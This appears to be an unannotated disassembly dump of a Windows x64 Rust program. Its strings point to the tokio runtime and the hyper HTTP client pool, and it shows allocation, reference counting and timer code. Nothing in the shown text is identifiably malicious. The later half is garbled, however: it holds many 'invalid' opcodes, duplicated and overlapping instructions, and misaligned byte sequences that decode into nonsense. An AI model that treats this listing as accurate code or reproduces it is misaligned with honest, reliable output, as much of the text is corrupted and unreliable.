mov r15, qword [r11 + 0x10]
mov rax, qword [rsp + 0x30]
cmp r15, qword [rax + 0x10]
jne 0x14006fa71
mov rsi, qword [r11 + 8]
mov rax, qword [rsp + 0x30]
mov rbp, qword [rax + 8]
xor r11d, r11d
nop dword [rax]
cmp r15, r11
je 0x14006fb3c
movzx eax, byte [rsi + r11]
movzx r14d, byte [rbp + r11]
inc r11
lea r8d, [rax - 0x41]
cmp r8b, 0x1a
setb r8b
shl r8b, 5
lea edx, [r14 - 0x41]
cmp dl, 0x1a
setb dl
shl dl, 5
or r8b, al
or dl, r14b
cmp r8b, dl
je 0x14006fae0
jmp 0x14006fa71
cmp byte [rbx - 0x47], 0
movzx eax, byte [rsp + 0x60]
je 0x14006fb34
test al, al
jne 0x14006fb3c
jmp 0x14006fa71
test al, al
jne 0x14006fa71
cmp qword [rbx - 0x28], r10
jne 0x14006fa71
mov rsi, qword [rbx - 0x30]
xor r11d, r11d
nop dword [rax]
cmp r10, r11
je 0x14006fb91
movzx eax, byte [rsi + r11]
movzx edx, byte [r9 + r11]
inc r11
lea r8d, [rax - 0x41]
cmp r8b, 0x1a
setb r8b
shl r8b, 5
lea ebp, [rdx - 0x41]
cmp bpl, 0x1a
setb bpl
shl bpl, 5
or r8b, al
or bpl, dl
cmp r8b, bpl
je 0x14006fb50
jmp 0x14006fa71
movdqu xmm0, xmmword [rsp + 0xc0]
movdqu xmm1, xmmword [rsp + 0xd0]
movdqu xmm2, xmmword [rsp + 0xe0]
movdqa xmmword [rsp + 0x160], xmm2
movdqa xmmword [rsp + 0x150], xmm1
movdqa xmmword [rsp + 0x140], xmm0
movdqa xmmword [rsp + 0xc0], xmm0
movdqa xmmword [rsp + 0xe0], xmm2
movdqa xmmword [rsp + 0xd0], xmm1
mov qword [rsp + 0xf0], rbx
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0xf8], rax
movzx eax, byte [rsp + 0xc0]
cmp al, 3
je 0x14006fc56
cmp al, 2
jb 0x14006fc33
mov r14, qword [rsp + 0xc8]
lea rcx, [r14 + 0x18]
mov rax, qword [r14]
mov rdx, qword [r14 + 8]
mov r8, qword [r14 + 0x10]
call qword [rax + 0x10]
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [rsp + 0xe8]
mov rax, qword [rsp + 0xd0]
mov rdx, qword [rsp + 0xd8]
mov r8, qword [rsp + 0xe0]
call qword [rax + 0x10]
mov r10, qword [rsp + 0x48]
mov rax, qword [r10 + 0xa0]
cmp rax, qword [rbx - 8]
jbe 0x140070264
mov rax, qword [rsp + 0x1c0]
mov qword [rsp + 0xf0], rax
movaps xmm0, xmmword [rsp + 0x190]
movaps xmm1, xmmword [rsp + 0x1a0]
movaps xmm2, xmmword [rsp + 0x1b0]
movaps xmmword [rsp + 0xe0], xmm2
movaps xmmword [rsp + 0xd0], xmm1
movaps xmmword [rsp + 0xc0], xmm0
call fcn.1400dfe70
mov r14, rax
mov ebp, edx
mov rax, qword [rbx - 8]
cmp rax, qword [rbx - 0x18]
jne 0x14006fccd
lea rcx, [rbx - 0x18]
call fcn.1400bec90
mov rax, qword [rbx - 8]
mov rcx, qword [rbx - 0x10]
lea rdx, [rax + rax*8]
mov r8, qword [rsp + 0xf0]
mov qword [rcx + rdx*8 + 0x30], r8
movdqa xmm0, xmmword [rsp + 0xc0]
movdqa xmm1, xmmword [rsp + 0xd0]
movdqa xmm2, xmmword [rsp + 0xe0]
movdqu xmmword [rcx + rdx*8 + 0x20], xmm2
movdqu xmmword [rcx + rdx*8 + 0x10], xmm1
movdqu xmmword [rcx + rdx*8], xmm0
mov qword [rcx + rdx*8 + 0x38], r14
mov dword [rcx + rdx*8 + 0x40], ebp
inc rax
mov qword [rbx - 8], rax
mov rax, qword [rsp + 0x48]
cmp qword [rax + 0xa8], 0
jne 0x140070271
mov esi, dword [rax + 0xb8]
cmp esi, 0x3b9aca00
je 0x140070271
mov r12, qword [rax + 0xb0]
movzx eax, byte [0x14017d2b0]
mov edx, 0x48
xor ecx, ecx
call fcn.1400e0010
test rax, rax
je 0x1400704b4
mov r14, rax
mov qword [rax], 1
mov qword [rax + 8], 1
mov qword [rax + 0x10], 0
mov byte [rax + 0x20], 0
mov qword [rax + 0x28], 0
mov byte [rax + 0x38], 0
mov word [rax + 0x40], 0
lock inc qword [rax]
jle 0x14007046e
mov rax, qword [rsp + 0x48]
mov qword [rax + 0xa8], r14
test r12, r12
jne 0x14006fdb9
test esi, esi
je 0x1400704c3
call fcn.1400dfe70
mov r8d, edx
lea r9, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_timeinterval.rs
lea rcx, [rsp + 0xc0]
mov rdx, rax
call fcn.1400f4880
movzx eax, byte [0x14017d2b0]
mov edx, 0x70
xor ecx, ecx
call fcn.1400e0010
test rax, rax
je 0x14007050e
mov r15, rax
movups xmm0, xmmword [rsp + 0x120]
movups xmmword [rax + 0x60], xmm0
movups xmm0, xmmword [rsp + 0x110]
movups xmmword [rax + 0x50], xmm0
movups xmm0, xmmword [rsp + 0x100]
movups xmmword [rax + 0x40], xmm0
movdqu xmm0, xmmword [rsp + 0xc0]
movdqu xmm1, xmmword [rsp + 0xd0]
movdqu xmm2, xmmword [rsp + 0xe0]
movdqu xmm3, xmmword [rsp + 0xf0]
movdqu xmmword [rax + 0x30], xmm3
movdqu xmmword [rax + 0x20], xmm2
movdqu xmmword [rax + 0x10], xmm1
movdqu xmmword [rax], xmm0
mov rax, qword [rsp + 0x180]
mov r13, qword [rax]
mov rdx, qword [rsp + 0x48]
jmp 0x14006fe66
pause
mov rax, qword [r13 + 8]
nop word [rax + rax]
cmp rax, 0xffffffffffffffff
je 0x14006fe64
test rax, rax
js 0x140070470
lea rcx, [rax + 1]
lock cmpxchg qword [r13 + 8], rcx
jne 0x14006fe70
mov rbx, qword [rdx]
test rbx, rbx
je 0x14006fefe
mov rdi, qword [rdx + 8]
mov rbp, qword [rdi + 0x10]
movzx eax, byte [0x14017d2b0]
mov edx, 0x30
xor ecx, ecx
call fcn.1400e0010
test rax, rax
je 0x14007051d
dec rbp
and rbp, 0xfffffffffffffff0
lea rcx, [rbx + rbp]
add rcx, 0x10
mov qword [rax], r12
mov dword [rax + 8], esi
mov qword [rax + 0x10], r15
mov byte [rax + 0x18], 0
mov edx, dword [rsp + 0x41]
mov r8d, dword [rsp + 0x44]
mov dword [rax + 0x19], edx
mov dword [rax + 0x1c], r8d
mov qword [rax + 0x20], r14
mov qword [rax + 0x28], r13
lea r8, fcn.1400705c0
mov rdx, rax
call qword [rdi + 0x18]
jmp 0x140070271
mov eax, 1
lock xadd qword [0x14017d058], rax
mov qword [rsp + 0x140], rax
mov qword [rsp + 0xc0], r12
mov dword [rsp + 0xc8], esi
mov qword [rsp + 0xd0], r15
mov byte [rsp + 0xd8], 0
mov eax, dword [rsp + 0x41]
mov ecx, dword [rsp + 0x44]
mov dword [rsp + 0xd9], eax
mov dword [rsp + 0xdc], ecx
mov qword [rsp + 0xe0], r14
mov qword [rsp + 0xe8], r13
lea rax, [rsp + 0x140]
mov qword [rsp + 0xf0], rax
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x14006ffbd
test eax, eax
jne 0x14007058b
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rdi, qword [rcx + rax*8]
lea rcx, [rdi + 0xd0]
lea rdx, [0x1400e46c0]
call fcn.1400d3ad0
mov byte [rdi + 0x120], 1
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rax, qword [rax + 0xd0]
movabs rcx, 0x7ffffffffffffffe
cmp rax, rcx
ja 0x14007052c
inc rax
mov ecx, dword [0x14017d2b4]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov qword [rcx + 0xd0], rax
mov rax, qword [rcx + 0xd8]
cmp rax, 2
je 0x140070538
mov rbp, qword [rsp + 0x140]
test rax, rax
je 0x1400702d1
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rbx, qword [rax + 0xe0]
lock inc qword [rbx]
jle 0x14007046e
movzx eax, byte [0x14017d2b0]
mov edx, 0x100
xor ecx, ecx
call fcn.1400e0010
test rax, rax
je 0x14007057c
mov rdx, rax
and rdx, 0xffffffffffffff80
lea rdi, [rdx + 0x80]
mov qword [rdx + 0x78], rax
lea rcx, [rbx + 0x68]
mov qword [rdx + 0x80], 0xcc
mov qword [rdx + 0x88], 0
lea rax, [0x14013da00]
mov qword [rdx + 0x90], rax
mov qword [rdx + 0x98], 0
mov qword [rdx + 0xa0], rbx
mov qword [rdx + 0xa8], rbp
mov qword [rdx + 0xb0], r12
mov dword [rdx + 0xb8], esi
mov qword [rdx + 0xc0], r15
mov byte [rdx + 0xc8], 0
mov eax, dword [rsp + 0x41]
mov r8d, dword [rsp + 0x44]
mov dword [rdx + 0xc9], eax
mov dword [rdx + 0xcc], r8d
mov qword [rdx + 0xd0], r14
mov qword [rdx + 0xd8], r13
pxor xmm0, xmm0
movdqa xmmword [rdx + 0xe0], xmm0
mov qword [rdx + 0xf0], 0
mov rdx, rdi
mov r8, rdi
call fcn.140065e40
test rax, rax
je 0x1400703ed
add rbx, 0x10
mov rcx, rbx
mov rdx, rax
xor r8d, r8d
call fcn.1400eca20
jmp 0x1400703ed
mov r10, qword [rsp + 0x48]
cmp qword [r10 + 0x50], 0
mov rsi, qword [rsp + 0x130]
je 0x14007042b
movups xmm0, xmmword [rsp + 0xc0]
movdqu xmm1, xmmword [rsp + 0xd0]
movdqu xmm2, xmmword [rsp + 0xe0]
movdqa xmmword [rsp + 0x160], xmm2
movdqa xmmword [rsp + 0x150], xmm1
movaps xmmword [rsp + 0x140], xmm0
movdqu xmm0, xmmword [rcx + rsi]
pmovmskb eax, xmm0
test eax, eax
jne 0x1400701b3
mov r9d, 0x10
add rsi, r9
and rsi, rbx
movdqu xmm0, xmmword [rcx + rsi]
pmovmskb eax, xmm0
add r9, 0x10
test eax, eax
je 0x14007019c
tzcnt eax, eax
add rax, rsi
and rax, rbx
movzx r8d, byte [rcx + rax]
test r8b, r8b
js 0x1400701d8
movdqa xmm0, xmmword [rcx]
pmovmskb eax, xmm0
tzcnt eax, eax
movzx r8d, byte [rcx + rax]
lea rdx, [rax - 0x10]
and rdx, rbx
mov r9, qword [rsp + 0x138]
mov byte [rcx + rax], r9b
mov byte [rcx + rdx + 0x10], r9b
neg rax
lea rax, [rax + rax*8]
lea rbx, [rcx + rax*8]
and r8b, 1
movzx edx, r8b
sub qword [r10 + 0x50], rdx
movdqa xmm0, xmmword [rsp + 0x140]
movdqa xmm1, xmmword [rsp + 0x150]
movdqa xmm2, xmmword [rsp + 0x160]
movdqu xmmword [rcx + rax*8 - 0x28], xmm2
movdqu xmmword [rcx + rax*8 - 0x38], xmm1
movdqu xmmword [rcx + rax*8 - 0x48], xmm0
mov qword [rcx + rax*8 - 0x18], 0
mov qword [rcx + rax*8 - 0x10], 8
mov qword [rcx + rax*8 - 8], 0
inc qword [r10 + 0x58]
mov rax, qword [r10 + 0xa0]
cmp rax, qword [rbx - 8]
ja 0x14006fc6c
lea rcx, [rsp + 0x190]
call fcn.140067350
mov r8, qword [rsp + 0x58]
cmp byte [r8], 2
jb 0x1400702a9
mov rdi, qword [r8 + 8]
lea rcx, [rdi + 0x18]
mov rax, qword [rdi]
mov rdx, qword [rdi + 8]
mov r8, qword [rdi + 0x10]
call qword [rax + 0x10]
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov r8, qword [rsp + 0x58]
lea rcx, [r8 + 0x28]
mov rax, qword [r8 + 0x10]
mov rdx, qword [r8 + 0x18]
mov r8, qword [r8 + 0x20]
call qword [rax + 0x10]
nop
add rsp, 0x1c8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rbx, qword [rax + 0xe0]
lock inc qword [rbx]
jle 0x14007046e
movzx eax, byte [0x14017d2b0]
mov edx, 0x100
xor ecx, ecx
call fcn.1400e0010
test rax, rax
je 0x14007057c
mov rcx, rax
and rcx, 0xffffffffffffff80
lea rdi, [rcx + 0x80]
mov qword [rcx + 0x78], rax
mov qword [rcx + 0x80], 0xcc
mov qword [rcx + 0x88], 0
lea rax, [0x14013dd70]
mov qword [rcx + 0x90], rax
mov qword [rcx + 0x98], 0
mov qword [rcx + 0xa0], rbx
add rbx, 0x58
mov qword [rcx + 0xa8], rbp
mov qword [rcx + 0xb0], r12
mov dword [rcx + 0xb8], esi
mov qword [rcx + 0xc0], r15
mov byte [rcx + 0xc8], 0
mov eax, dword [rsp + 0x41]
mov edx, dword [rsp + 0x44]
mov dword [rcx + 0xc9], eax
mov dword [rcx + 0xcc], edx
mov qword [rcx + 0xd0], r14
mov qword [rcx + 0xd8], r13
pxor xmm0, xmm0
movdqa xmmword [rcx + 0xe0], xmm0
mov qword [rcx + 0xf0], 0
mov rcx, rbx
mov rdx, rdi
mov r8, rdi
call fcn.140065e40
test rax, rax
je 0x1400703ed
mov ecx, dword [0x14017d2b4]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov rcx, qword [rcx + 0xe0]
mov rdx, rax
call fcn.1400eb0b0
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
dec qword [rax + 0xd0]
mov ecx, 0x84
mov eax, 0xcc
lock cmpxchg qword [rdi], rcx
je 0x140070271
mov rax, qword [rdi + 0x10]
mov rcx, rdi
call qword [rax + 0x20]
jmp 0x140070271
lea rdx, [r10 + 0x60]
mov rcx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x178]
call fcn.140109e80
mov r10, qword [rsp + 0x48]
mov rcx, qword [r10 + 0x40]
mov rbx, qword [r10 + 0x48]
and rsi, rbx
jmp 0x140070155
lea rcx, str.internal_error:_entered_unreachable_code_rustc_88c2f4f5f50ace5ddc7655ea311435104d3659bdlibrary_std_src_threadmod.rs
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcuri_scheme.rs_f
mov edx, 0x28
call fcn.1401046f0
ud2
call fcn.14010a580
lea rcx, str.value_already_sent
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcclientpool.rs
mov edx, 0x12
call fcn.140104a60
lea rcx, str.assertion_failed:_slot.is_none__C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_futures_channel_0.3.30_srconeshot.rs
lea r8, [0x14013a438]
mov edx, 0x20
call fcn.1401046f0
mov ecx, 8
mov edx, 0x20
call fcn.140104380
mov ecx, 8
mov edx, 0x48
call fcn.140104380
lea rax, [0x14014b698]
mov qword [rsp + 0xc0], rax
mov qword [rsp + 0xc8], 1
lea rax, [0x14016f768]
mov qword [rsp + 0xd0], rax
pxor xmm0, xmm0
movdqu xmmword [rsp + 0xd8], xmm0
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcclientpool.rs
lea rcx, [rsp + 0xc0]
call fcn.140104620
mov ecx, 8
mov edx, 0x70
call fcn.140104380
mov ecx, 8
mov edx, 0x30
call fcn.140104380
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtimecontextcurrent.rs
call fcn.140104950
lea rcx, [rsp + 0xc0]
call fcn.1400705c0
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
dec qword [rax + 0xd0]
xor eax, eax
mov byte [rsp + 0xc0], al
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srccommonexec.rs
lea rcx, [rsp + 0xc0]
call fcn.140109d90
mov ecx, 0x80
mov edx, 0x80
call fcn.140104380
lea rcx, [rsp + 0xc0]
call fcn.1400705c0
mov al, 1
mov byte [rsp + 0xc0], al
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srccommonexec.rs
lea rcx, [rsp + 0xc0]
call fcn.140109d90
int3
xor eax, eax
xchg byte [r15], al
cmp al, 2
jne 0x14007111f
mov rcx, r15
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
mov rax, qword [rsp + 0x58]
lock dec qword [rax]
jne 0x140071134
lea rcx, [rsp + 0x58]
call fcn.140066c70
xor ebp, ebp
mov eax, ebp
movaps xmm6, xmmword [rsp + 0x130]
add rsp, 0x148
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
call fcn.14010c880
test al, al
jne 0x14007110d
mov byte [rbx + 0x11], 1
jmp 0x14007110d
or eax, 0x3a81e800
or dword [rax], eax
call fcn.140109e60
lea rcx, str.overflow_when_adding_duration_to_instantlibrary_std_src_time.rs
lea r8, [0x1401466c8]
mov edx, 0x28
call fcn.140104a60
lea rcx, [0x140149520]
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_timeentry.rs
mov edx, 0x73
call fcn.140104a60
lea rcx, str.interval_assumes_timeout_
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcclientpool.rs
mov edx, 0x18
call fcn.140104a60
lea rcx, str.overflow_when_subtracting_duration_from_instant
lea r8, [0x140146710]
or eax, 0x2fba00
add byte [rax], al
or eax, 0x2fba00
add byte [rax], al
call fcn.140104a60
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_timeinterval.rs
mov qword [rsp + 0x20], rax
lea rcx, str.too_much_time_has_elapsed_since_the_interval_was_supposed_to_tick
lea r9, [0x140148728]
lea r8, [rsp + 0x60]
mov edx, 0x41
call fcn.1401049b0
lea rax, str.overflow_in_Duration::new
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], 1
lea rax, [0x14016f768]
add byte [rax - 0x77], cl
and al, 0x70
add byte [rax - 0x77], cl
and al, 0x70
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x78], xmm0
lea rdx, str._rustc_88c2f4f5f50ace5ddc7655ea311435104d3659bdlibrarycore_src_time.rspT
lea rcx, [rsp + 0x60]
call fcn.140104620
add ah, cl
add ah, cl
int3
cwde
add byte [rax], al
add byte [rdi], cl
sub dword [rsp + 0x80], esi
mov rsi, rcx
mov rax, qword [rcx]
jmp 0x14007127a
mov rcx, rax
and rcx, 0xfffffffffffffff8
or rcx, 1
add dword [rcx + 0x5eac0c2], ecx
add dword [rcx + 0x5eac0c2], ecx
and dl, 1
lock cmpxchg qword [rsi], rcx
je case.0x14009e6a0.94
test al, 4
je 0x1400714e8
test al, 3
je 0x140071260
cmp rax, 0x3f
jbe 0x140071500
lea rcx, [rax - 0x40]
lea ecx, [rax - 0x40]
cmp rcx, 0x40
setb dl
or dl, 2
lock cmpxchg qword [rsi], rcx
jne 0x14007127a
movzx eax, dl
lea rcx, [0x14017470c]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
lea eax, [0x14014ae78]
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], rsi
push 0x24448d48
invalid
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], rax
and al, 0x78
push 0x24448d48
invalid
and al, 0x78
mov eax, dword [rsi + 0x38]
and eax, 0xfffffffe
loopne case.0x14009e6a0.95
loopne case.0x14009e6a0.95
cmp eax, 0x3b9aca00
je 0x140071518
cmp ecx, dword [rdi]
test byte [rdi], ch
add al, byte [rax]
add byte [rax - 0x73], cl
lea ecx, [rsi + 0x30]
invalid
invalid
lea rcx, [rsi + 0x30]
lea ecx, [rsi + 0x30]
xor byte [rax - 0x75], cl
mov rdi, qword [rsi + 0x28]
jle case.0x14005d242.65
sub byte [rbx + 0x10bfbd05], cl
mov eax, dword [0x14017d2b4]
mov rdx, qword gs:[0x58]
add byte [rax], al
add byte [rbp + 0x48], ah
mov edx, dword [0x58]
add byte [rax], al
add byte [rax], al
mov rax, qword [rdx + rax*8]
movzx eax, byte [rax + 0x120]
add byte [rbx + 0x3e7401f8], al
add byte [rbx + 0x3e7401f8], al
xorps xmm6, xmm6
test eax, eax
jne 0x14007137a
mov eax, dword [0x14017d2b4]
mov rdx, qword gs:[0x58]
xchg edi, eax
mov edi, 0x48650010
mov edx, dword [0x58]
mov r14, qword [rdx + rax*8]
lea rax, [r14 + 0xd0]
lea rdx, [0x1400e46c0]
mov rbx, rcx
mov rcx, rax
mov ecx, eax
call fcn.1400d3ad0
mov rcx, rbx
mov byte [r14 + 0x120], 1
add byte [rax], al
invalid
add byte [rax], al
add dword [rbx + 0x10bf6005], ecx
invalid
mov edi, 0x48650010
mov edx, dword [0x58]
add byte [rax], al
mov eax, dword [0x14017d2b4]
mov rdx, qword gs:[0x58]
add byte [rax], al
invalid
add byte [rax], al
mov rax, qword [rdx + rax*8]
mov eax, dword [rdx + rax*8]
add al, 0xc2
ret 0x100f
movups xmm6, xmmword [rax + 0xf0]
mov qword [rax + 0xf0], 1
mov dword [rax + 0xf0], 1
xor al, 0
add byte [rax], al
add dword [rax], eax
add byte [rax], al
mov qword [rax + 0xf8], rdi
clc
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x73], cl
push rsp
and al, 0x70
lea rdx, [rsp + 0x70]
call fcn.1400706c0
mov ecx, dword [0x14017d2b4]
add byte [rbp + 0x48], ah
mov edx, dword [0x58]
invalid
dec dword [rbx + 0x10bf2a0d]
add byte [rbp + 0x48], ah
mov edx, dword [0x58]
mov rcx, qword [rdx + rcx*8]
movzx ecx, byte [rcx + 0x120]
mov dword [rax], esp
add dword [rax], eax
add byte [rbx + 0x357401f9], al
invalid
je 0x1400713d8
mov dword [rax], esp
add dword [rax], eax
add byte [rbx + 0x357401f9], al
invalid
je 0x1400713d8
add dword [rbp + rsi - 0x7b], esi
leave
test ecx, ecx
jne 0x1400713f2
mov ecx, dword [0x14017d2b4]
mov rdx, qword gs:[0x58]
mov rdx, qword [0x58]
mov rdx, qword [0x58]
adc al, 0x25
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
cmp al, 0xca
mov rdi, qword [rdx + rcx*8]
lea rcx, [rdi + 0xd0]
lea rdx, [0x1400e46c0]
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0x732f8
mov ebx, eax
call fcn.1400d3ad0
mov eax, ebx
fadd st(6)
xchg dword [rax], esp
and byte [rcx], al
add byte [rax], al
invalid
add byte [rcx + 0x2087c6d8], cl
fadd st(6)
xchg dword [rax], esp
invalid
and byte [rcx], al
add byte [rax], al
add dword [rbx + 0x10bed60d], ecx
invalid
mov esi, 0x48650010
invalid
invalid
add dword [rax], eax
add byte [rcx], al
mov ecx, dword [0x14017d2b4]
invalid
mov rdx, qword gs:[0x58]
mov edx, dword [0x58]
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
mov rcx, qword [rdx + rcx*8]
or al, 0xca
retf 0x110f
movups xmmword [rcx + 0xf0], xmm6
lea rdi, [rsi + 0x20]
test al, al
je 0x140071490
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x77], cl
int1
mov rcx, rsi
call fcn.1400e7430
movzx eax, al
lea rcx, [0x14017471c]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov rcx, qword [rsi + 0x20]
add rcx, 0x10
adc byte [rax - 0x77], cl
mov r8b, 1
adc byte [rax - 0x77], cl
mov r8b, 1
call fcn.1400eca20
mov rax, 0xffffffffffffffc0
rol al, 0xff
invalid
invalid
rol al, 0xff
invalid
invalid
lock xadd qword [rsi], rax
cmp rax, 0x3f
clc
invalid
jbe case.0x140048c13.445
clc
invalid
and rax, 0xffffffffffffffc0
and eax, 0xffffffc0
cmp rax, 0x40
jne case.0x140071417.0
mov rcx, rsi
call 0x140071760
jmp case.0x140071417.0
mov dword [rsp + 0x38], 0x3b9aca01
lea rdx, [rsp + 0x30]
mov rcx, rdi
call fcn.1400720b0
mov rax, qword [rsi + 0x28]
mov qword [rsp + 0x40], 1
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x58], rax
pop rax
retf 0x3b9a
jmp 0x1400714b6
mov dword [rsp + 0x38], 0x3b9aca01
lea rdx, [rsp + 0x30]
mov rcx, rdi
call fcn.1400720b0
add byte [rax], al
add byte [rax], al
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], 0
add byte [rax], al
invalid
add byte [rax], al
add bh, al
and al, 0x38
add dl, cl
invalid
mov dword [rsp + 0x38], 0x3b9aca00
lea rdx, [rsp + 0x30]
mov rcx, rdi
call fcn.1400720b0
mov rcx, rsi
call fcn.140071820
movaps xmm6, xmmword [rsp + 0x80]
add rsp, 0x98
pop rbx
pop rdi
pop rsi
pop r14
ret
lea rcx, str.assertion_failed:_next.is_notified__C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_task_state.rs
lea r8, [0x14014ab00]
mov edx, 0x24
call fcn.1401046f0
lea rcx, str.assertion_failed:_self.ref_count_____0
lea r8, [0x14014ae60]
mov edx, 0x26
call fcn.1401046f0
lea rax, str.internal_error:_entered_unreachable_code:_unexpected_stage
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 1
lea rax, [rsp + 0x28]
mov qword [rsp + 0x40], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_taskcore.rs
lea edx, [0x14014a720]
lea rcx, [rsp + 0x30]
call fcn.140104620
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x14014ad98]
mov edx, 0x27
call fcn.1401046f0
int3
push rsi
push rdi
push rbx
sub rsp, 0x20
mov rsi, rcx
mov rax, qword [rcx + 0x20]
lock dec qword [rax]
jne 0x14007177d
lea rcx, [rsi + 0x20]
call fcn.140068e50
mov ecx, dword [rsi + 0x38]
mov edx, ecx
and edx, 0xfffffffe
add ecx, 0xc4653601
invalid
invalid
invalid
xor eax, eax
cmp edx, 0x3b9aca00
cmove eax, ecx
cmp eax, 1
je 0x1400717aa
invalid
cmp dword [rbx + 8], 0
je 0x1400717e7
cmp qword [rbx + 0x10], 0x11
jb 0x1400717d5
mov rdi, qword [rdi - 8]
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsi + 0x70]
test rax, rax
je case.0x14001a36d.2305
mov rcx, qword [rsi + 0x78]
call qword [rax + 0x18]
mov r8, qword [rsi - 8]
mov rcx, qword [0x14017d208]
xor edx, edx
add rsp, 0x20
pop rbx
pop rdi
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, rax
xor rcx, 3
lock cmpxchg qword [rsi], rcx
jne 0x140071830
test al, 1
je 0x1400718d2
test al, 2
jne 0x1400718ea
test al, 8
jne 0x14007186a
lea rcx, [rsi + 0x20]
mov dword [rsp + 0x30], 0x3b9aca01
lea rdx, [rsp + 0x28]
call fcn.1400720b0
jmp 0x140071882
test al, 0x10
je 0x140071882
mov rax, qword [rsi + 0x70]
test rax, rax
je 0x14007196e
mov rcx, qword [rsi + 0x78]
call qword [rax + 0x10]
mov rcx, qword [rsi + 0x20]
mov rdx, rsi
call fcn.1400ec8c0
cmp rax, 1
clc
add dword [rax + 2], edi
clc
add dword [rax + 2], edi
sbb rax, 0
mov qword [rsp + 0x20], rax
shl eax, 6
neg rax
neg eax
neg eax
lock xadd qword [rsi], rax
shr rax, 6
cmp rax, qword [rsp + 0x20]
jb 0x140071902
jne 0x1400718c8
mov rcx, rsi
add rsp, 0x80
pop rsi
jmp 0x140071760
nop
add rsp, 0x80
pop rsi
ret
lea rcx, str.assertion_failed:_prev.is_running__
lea r8, [0x14014ab80]
mov edx, 0x23
call fcn.1401046f0
lea rcx, str.assertion_failed:__prev.is_complete__
lea r8, [0x14014abc0]
mov edx, 0x25
call fcn.1401046f0
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x58]
mov qword [rsp + 0x60], rax
lea rax, [fcn.140012c90]
mov qword [rsp + 0x68], rax
lea rcx, [rsp + 0x20]
mov qword [rsp + 0x70], rcx
mov qword [rsp + 0x78], rax
lea rax, str.current:___sub:_
xchg edx, eax
or eax, 0x44894800
and al, 0x28
xchg edx, eax
or eax, 0x44894800
and al, 0x28
mov qword [rsp + 0x30], 2
mov qword [rsp + 0x48], 0
lea rax, [rsp + 0x60]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], 2
lea rdx, [0x14014ac08]
lea rcx, [rsp + 0x28]
sub al, ch
mov dl, 0x2c
or dword [rax], eax
sub al, ch
mov dl, 0x2c
or dword [rax], eax
lea rax, str.waker_missing
mov qword [rsp + 0x28], rax
and al, 0x28
and al, 0x28
mov qword [rsp + 0x30], 1
lea rax, [0x14016f768]
str word [rax - 0x77]
and al, 0x38
str word [rax - 0x77]
and al, 0x38
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
